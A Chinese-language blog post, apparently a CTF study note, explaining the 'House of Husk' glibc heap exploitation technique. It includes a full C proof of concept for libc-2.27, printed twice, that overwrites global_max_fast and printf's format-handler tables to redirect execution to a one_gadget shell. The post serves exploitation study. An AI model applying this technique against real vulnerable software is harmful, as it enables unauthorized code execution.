House of husk学习记录

0x00 原理

这种攻击方式主要是利用了printf的一个调用链,应用场景是只能分配较大chunk时(超过fastbin),存在或可以构造出UAF漏洞。类似于之前改global_max_fast后覆盖到top chunk的那种情况,只是后续利用不一样了。

从源码角度简单分析攻击背后的原理。在使用printf类格式化字符串函数进行输出的时候,该类函数会根据我们格式化字符串的种类不同而采取不同的输出格式进行输出,在glibc中有这样一个函数
register_printf_function,为格式化字符为spec的格式化输出注册函数,这个函数是register_printf_specifier函数的封装。

register_printf_specifier函数,如果格式化符超过0xff或小于0,即不在ascii码则返回-1,如果printf_arginfo_table为空就通过calloc分配堆内存存放printf_arginfo_table以及printf_function_table。两个表空间都为0x100,可以为0-0xff的每个字符注册一个函数指针,第一个表后面紧接着第二个表。

__printf_function_table[spec]索引处的类型为printf_function的函数指针是我们为chr(spec)这个格式化字符注册的输出函数的函数指针,这个函数在printf->vfprintf->printf_positional中被调用。

typedef int printf_function (FILE *__stream,
const struct printf_info *__info,
const void *const *__args);

printf_arginfo_tablespec索引处的类型为printf_arginfo_size_function的函数指针是我们为chr(spec)这个格式化字符注册的输出函数的另一个函数指针,这个函数在printf->vfprintf->printf_positional->parse_one_specmb中被调用。可以看到其返回值为格式化字符消耗的参数个数,猜测其功能是根据格式化字符做解析。

typedef int printf_arginfo_size_function (const struct printf_info *__info,
size_t __n, int *__argtypes,
int *__size);
```c struct printf_spec { /* Information parsed from the format spec. */ struct printf_info info; /* Pointers into the format string for the end of this format spec and the next (or to the end of the string if no more). */ const UCHAR_T *end_of_fmt, *next_fmt; /* Position of arguments for precision and width, or -1 if `info' has the constant value. */ int prec_arg, width_arg; int data_arg; /* Position of data argument. */ int data_arg_type; /* Type of first argument. */ /* Number of arguments consumed by this format specifier. */ size_t ndata_args; /* Size of the parameter for PA_USER type. */ int size; }; ```

此外,在vfprintf函数中如果检测到我们注册的table不为空,则对于格式化字符不走默认的输出函数而是调用printf_positional函数,进而可以调用到表中的函数指针

0x01 POC分析

/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lxn", libc_base);

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;

/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);//__printf_arginfo_table => one_gadget

/* ignite! */
printf("%X", 0);

return 0;
}

运行环境为ubuntu 18.04/glibc 2.27,编译命令为gcc ./poc.c -g -fPIE -no-pie -o poc(关闭pie方便调试)。

代码模拟了UAF漏洞,先分配一个超过fastbin的块,释放之后会进入unsorted bin。预先分配两个chunk,第一个用来伪造printf_function_table,第二个用来伪造printf_arginfo_table。将__printf_arginfo_table[‘X’]处的函数指针改为one_gadget。

使用unsorted bin attack改写global_max_fast为main_arena+88从而使得释放的所有块都按fastbin处理(都是超过large bin大小的堆块不会进tcache)。
在这里有一个很重要的知识就是fastbin的堆块地址会存放在main_arena中,从main_arena+8开始存放fastbin[0x20]的头指针,一直往后推,由于平时的fastbin默认阈值为0x80,所以在glibc-2.23的环境下最多存放到main_arena+0x48,现在我们将阈值改为0x7f*** 导致几乎所有sz的chunk都被当做fastbin,其地址会从main_arena+8开始,根据sz不同往libc覆写堆地址。如此一来,只要我们计算好printf_arginfo_table和main_arena的地址偏移,进而得到合适的sz,就可以在之后释放这个伪造table的chunk时覆写printf_arginfo_table为heap_addr。

总结一下,先UAF改global_max_fast为main_arena+88,之后释放合适sz的块到fastbin,从而覆写__printf_arginfo_table表为heap地址,heap[‘X’]被覆写为了one_gadget,在调用这个函数指针时即可get shell。

/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lxn", libc_base);

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;

/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);//__printf_arginfo_table => one_gadget

/* ignite! */
printf("%X", 0);

return 0;
}

0x02 调试POC

vfprintf函数中如果检测到我们注册的table不为空,则对于格式化字符不走默认的输出函数而是调用printf_positional函数,进而可以调用到表中的函数指针。

在进行格式化字符串处理的中遇到X就会调用我们设置好的函数。即getshell。

0x03 流程及用法简单总结

也就是说执行printf的时候检查printf_function_table,如果不为空则调用printf_positional函数,进而调用到printf_arginfo_table表中的函数指针

一般先改掉global_max_fast后来覆盖两个表

也就是想办法覆盖掉这两个table位置,同时将__printf_arginfo_table['X']处的函数指针改为one_gadget。(X的ascii码值是88)

如果是%u,那么就调用__printf_arginfo_table[‘u’]的函数指针


  Reprint policy: xiaoxin House of husk学习记录

 Previous
Hitcon Training系列学习记录 Hitcon Training系列学习记录
前言未入门时做hitcon-training系列收获很大,怀着一颗感恩的心来整理writeup Lab1 直接上脚本吧 from pwn import * cipher = [7, 59, 25, 2, 11, 16, 61, 30, 9
2020-10-20
Next 
2019 SCTF部分pwn题复盘 2019 SCTF部分pwn题复盘
[toc] easy_heap查看文件 2.23 io attack io leak off by null ## IDA分析 (1).创建: (2)delete (3)edit off by null 思路 利用off by
2020-10-09
  TOC